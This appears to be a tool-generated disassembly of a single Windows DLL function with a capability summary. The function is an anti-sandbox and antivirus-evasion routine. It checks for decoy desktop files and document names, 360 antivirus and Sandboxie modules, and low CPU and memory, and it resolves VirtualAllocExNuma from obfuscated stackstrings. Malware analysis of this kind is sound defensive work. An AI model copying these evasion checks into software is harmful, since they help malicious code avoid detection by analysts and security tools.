Function at 0x180002be0
Capabilities:
Check for sandbox and av modules
Check if file exists
Contain obfuscated stackstrings
Enumerate files on windows
Get common file path
Get file attributes
Get memory capacity
Get system information on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x230]
sub rsp, 0x330
mov rax, qword [0x18003a040]
xor rax, rsp
mov qword [rbp + 0x220], rax
call fcn.180001df0
test eax, eax
jne 0x180002c56
lea rdx, str.err1
call fcn.180003f40
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.180004c00
movzx edx, al
mov rcx, rbx
call fcn.180004a50
mov rcx, rbx
call fcn.1800048f0
call fcn.180002320
xor edx, edx
lea rcx, [rbp + 0x110]
mov r8d, 0x104
xor edi, edi
call fcn.18000a8a0
mov r8d, 0x104
lea rdx, [rbp + 0x110]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rcx, [rbp + 0x110]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
mov rsi, rax
mov rbx, rax
movzx ecx, byte [rax]
test cl, cl
je 0x180002cb9
nop dword [rax + rax]
movsx ecx, cl
call fcn.18000f8b0
test eax, eax
je 0x180002cae
inc edi
movzx ecx, byte [rbx + 1]
inc rbx
test cl, cl
jne 0x180002ca0
lea rdx, [0x180034b3c]
mov rcx, rsi
call fcn.180009efc
test rax, rax
jne 0x180002ce1
lea rdx, [0x180034b40]
mov rcx, rsi
call fcn.180009efc
test rax, rax
je 0x180002ce3
inc edi
mov rcx, 0xffffffffffffffff
nop word [rax + rax]
inc rcx
cmp byte [rsi + rcx], 0
jne 0x180002cf0
cmp rcx, 0x1e
lea eax, [rdi + 1]
cmovbe eax, edi
cmp eax, 1
jl 0x180002d40
lea rdx, str.err2
call fcn.180003f40
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.180004c00
movzx edx, al
mov rcx, rbx
call fcn.180004a50
mov rcx, rbx
call fcn.1800048f0
call fcn.180002320
lea rdx, [rsp + 0x30]
lea rcx, str.C:UsersPublicDesktop.
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
xor edi, edi
xor ebx, ebx
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x180002dbc
nop
lea rdx, str.Reader
inc edi
lea rcx, [rsp + 0x5c]
call fcn.180009efc
test rax, rax
je 0x180002d7a
inc ebx
lea rdx, str.Chrome
lea rcx, [rsp + 0x5c]
call fcn.180009efc
test rax, rax
je 0x180002d92
inc ebx
lea rdx, str.Firefox
lea rcx, [rsp + 0x5c]
call fcn.180009efc
test rax, rax
je 0x180002daa
inc ebx
lea rdx, [rsp + 0x30]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x180002d60
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindClose]
cmp edi, 0xa
jge 0x180002e07
cmp ebx, 3
jne 0x180002e07
lea rdx, str.err3
call fcn.180003f40
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.180004c00
movzx edx, al
mov rcx, rbx
call fcn.180004a50
mov rcx, rbx
call fcn.1800048f0
call fcn.180002320
xor r9d, r9d
lea rdx, [rbp + 0x110]
xor ecx, ecx
lea r8d, [r9 + 0x10]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea r8, str..
mov edx, 0x104
lea rcx, [rbp + 0x110]
call fcn.18000f82c
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x110]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
xor edi, edi
xor ebx, ebx
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x180002f20
nop dword [rax + rax]
lea rdx, str.Document.rtf
inc edi
lea rcx, [rsp + 0x5c]
call fcn.180009efc
test rax, rax
je 0x180002e7a
inc ebx
lea rdx, str.Document.ppt
lea rcx, [rsp + 0x5c]
call fcn.180009efc
test rax, rax
je 0x180002e92
inc ebx
lea rdx, str.Document.pptx
lea rcx, [rsp + 0x5c]
call fcn.180009efc
test rax, rax
je 0x180002eaa
inc ebx
lea rdx, str.Document.doc
lea rcx, [rsp + 0x5c]
call fcn.180009efc
test rax, rax
je 0x180002ec2
inc ebx
lea rdx, str.Document.docx
lea rcx, [rsp + 0x5c]
call fcn.180009efc
test rax, rax
je 0x180002eda
inc ebx
lea rdx, str.Document.xls
lea rcx, [rsp + 0x5c]
call fcn.180009efc
test rax, rax
je 0x180002ef2
inc ebx
lea rdx, str.Document.xlsx
lea rcx, [rsp + 0x5c]
call fcn.180009efc
test rax, rax
je 0x180002f0a
inc ebx
lea rdx, [rsp + 0x30]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x180002e60
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindClose]
cmp edi, 0x14
jg 0x180002f6b
cmp ebx, 4
jl 0x180002f6b
lea rdx, str.err4
call fcn.180003f40
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.180004c00
movzx edx, al
mov rcx, rbx
call fcn.180004a50
mov rcx, rbx
call fcn.1800048f0
call fcn.180002320
xor r9d, r9d
lea rdx, [rbp + 0x110]
xor ecx, ecx
lea r8d, [r9 + 0x10]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea r8, str..
mov edx, 0x104
lea rcx, [rbp + 0x110]
call fcn.18000f82c
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x110]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
xor edi, edi
xor ebx, ebx
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x1800030e0
nop dword [rax]
lea rdx, str.amd.pptx
inc edi
lea rcx, [rsp + 0x5c]
call fcn.180009efc
test rax, rax
je 0x180002fda
inc ebx
lea rdx, str.Balance.jpg
lea rcx, [rsp + 0x5c]
call fcn.180009efc
test rax, rax
je 0x180002ff2
inc ebx
lea rdx, str.Dependency.pdf
lea rcx, [rsp + 0x5c]
call fcn.180009efc
test rax, rax
je 0x18000300a
inc ebx
lea rdx, str.secret.doc
lea rcx, [rsp + 0x5c]
call fcn.180009efc
test rax, rax
je 0x180003022
inc ebx
lea rdx, str.secret.rtf
lea rcx, [rsp + 0x5c]
call fcn.180009efc
test rax, rax
je 0x18000303a
inc ebx
lea rdx, str.secret.txt
lea rcx, [rsp + 0x5c]
call fcn.180009efc
test rax, rax
je 0x180003052
inc ebx
lea rdx, str.secret.wps
lea rcx, [rsp + 0x5c]
call fcn.180009efc
test rax, rax
je 0x18000306a
inc ebx
lea rdx, str.Hangatg.pdf
lea rcx, [rsp + 0x5c]
call fcn.180009efc
test rax, rax
je 0x180003082
inc ebx
lea rdx, str.secretion.pdf
lea rcx, [rsp + 0x5c]
call fcn.180009efc
test rax, rax
je 0x18000309a
inc ebx
lea rdx, str.archives.doc
lea rcx, [rsp + 0x5c]
call fcn.180009efc
test rax, rax
je 0x1800030b2
inc ebx
lea rdx, str.test1.zip
lea rcx, [rsp + 0x5c]
call fcn.180009efc
test rax, rax
je 0x1800030ca
inc ebx
lea rdx, [rsp + 0x30]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x180002fc0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindClose]
cmp edi, 0x14
jg 0x18000312b
cmp ebx, 4
jl 0x18000312b
lea rdx, str.err5
call fcn.180003f40
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.180004c00
movzx edx, al
mov rcx, rbx
call fcn.180004a50
mov rcx, rbx
call fcn.1800048f0
call fcn.180002320
xor r9d, r9d
lea rdx, [rbp + 0x110]
xor ecx, ecx
lea r8d, [r9 + 0x10]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea r8, str..
mov edx, 0x104
lea rcx, [rbp + 0x110]
call fcn.18000f82c
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x110]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
xor edi, edi
xor ebx, ebx
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x1800031ac
nop dword [rax + rax]
lea rdx, str.Troubleshooting.url
inc edi
lea rcx, [rsp + 0x5c]
call fcn.180009efc
test rax, rax
je 0x18000319a
inc ebx
lea rdx, [rsp + 0x30]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x180003180
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindClose]
cmp edi, 5
jg 0x1800031f7
cmp ebx, 1
jl 0x1800031f7
lea rdx, str.err6
call fcn.180003f40
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.180004c00
movzx edx, al
mov rcx, rbx
call fcn.180004a50
mov rcx, rbx
call fcn.1800048f0
call fcn.180002320
xor r9d, r9d
lea rdx, [rbp + 0x110]
xor ecx, ecx
lea r8d, [r9 + 0x10]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea r8, str..
mov edx, 0x104
lea rcx, [rbp + 0x110]
call fcn.18000f82c
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x110]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
xor esi, esi
xor edi, edi
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x1800032df
nop dword [rax + rax]
inc esi
lea rax, [rsp + 0x5c]
mov rcx, 0xffffffffffffffff
nop
inc rcx
cmp byte [rax + rcx], 0
jne 0x180003260
cmp rcx, 0x20
jbe 0x1800032c9
movzx eax, byte [rsp + 0x5c]
lea rbx, [rsp + 0x5c]
inc edi
test al, al
je 0x18000329b
nop
movsx ecx, al
call fcn.18000f8b0
test eax, eax
jne 0x180003299
movzx eax, byte [rbx + 1]
inc rbx
test al, al
jne 0x180003280
jmp 0x18000329b
inc edi
lea rdx, [0x180034b3c]
lea rcx, [rsp + 0x5c]
call fcn.180009efc
test rax, rax
jne 0x1800032c7
lea rdx, [0x180034b40]
lea rcx, [rsp + 0x5c]
call fcn.180009efc
test rax, rax
je 0x1800032c9
inc edi
lea rdx, [rsp + 0x30]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x180003250
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FindClose]
cmp esi, 5
jg 0x18000332a
cmp edi, 2
jl 0x18000332a
lea rdx, str.err7
call fcn.180003f40
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.180004c00
movzx edx, al
mov rcx, rbx
call fcn.180004a50
mov rcx, rbx
call fcn.1800048f0
call fcn.180002320
lea rcx, str.C:WindowsSXIn.dll
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ebx, ebx
mov ecx, 1
cmp eax, 0xffffffff
cmovne ebx, ecx
lea rcx, str.C:WindowsSXIn64.dll
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x180003358
inc ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x1800033bb
mov r8d, 0x104
lea rdx, [rbp + 0x110]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x1800033bb
lea rcx, str.SXIn.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x180003393
inc ebx
lea rcx, str.SXIn64.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x1800033a7
inc ebx
lea rcx, str.360base.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x1800033bb
inc ebx
cmp ebx, 1
jb 0x1800033f8
lea rdx, str.err8
call fcn.180003f40
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.180004c00
movzx edx, al
mov rcx, rbx
call fcn.180004a50
mov rcx, rbx
call fcn.1800048f0
call fcn.180002320
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x180003469
mov r8d, 0x104
lea rdx, [rbp + 0x110]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x180003469
lea rcx, str.SbieDll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x180003469
lea rdx, str.err9
call fcn.180003f40
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.180004c00
movzx edx, al
mov rcx, rbx
call fcn.180004a50
mov rcx, rbx
call fcn.1800048f0
call fcn.180002320
movdqa xmm0, xmmword [str.VirtualAllocExNu_]
lea rcx, [rbp + 0xe0]
movdqu xmmword [rbp + 0xf0], xmm0
mov dword [rbp + 0xe0], 0x6e72656b
mov dword [rbp + 0xe4], 0x32336c65
mov dword [rbp + 0xe8], 0x6c6c642e
mov byte [rbp + 0xec], 0
mov word [rbp + 0x100], 0x616d
mov byte [rbp + 0x102], 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp + 0xf0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x28], 0
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x3e8
call rbx
test rax, rax
jne 0x180003534
lea rdx, str.err10
call fcn.180003f40
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.180004c00
movzx edx, al
mov rcx, rbx
call fcn.180004a50
mov rcx, rbx
call fcn.1800048f0
call fcn.180002320
lea rcx, [rbp + 0xb0]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rbp + 0xd0], 2
jb 0x180003568
lea rcx, [rbp + 0x70]
mov dword [rbp + 0x70], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rbp + 0x78]
shr rax, 0x1e
cmp eax, 2
jae 0x1800035a0
lea rdx, str.err11
call fcn.180003f40
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.180004c00
movzx edx, al
mov rcx, rbx
call fcn.180004a50
mov rcx, rbx
call fcn.1800048f0
call fcn.180002320
mov ecx, 0x40000000
call fcn.180010200
mov rdi, rax
test rax, rax
jne 0x1800035ea
lea rdx, str.err12
call fcn.180003f40
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.180004c00
movzx edx, al
mov rcx, rbx
call fcn.180004a50
mov rcx, rbx
call fcn.1800048f0
call fcn.180002320
mov rcx, rdi
call fcn.18000f818
mov rcx, qword [rbp + 0x220]
xor rcx, rsp
call fcn.180007f80
lea r11, [rsp + 0x330]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret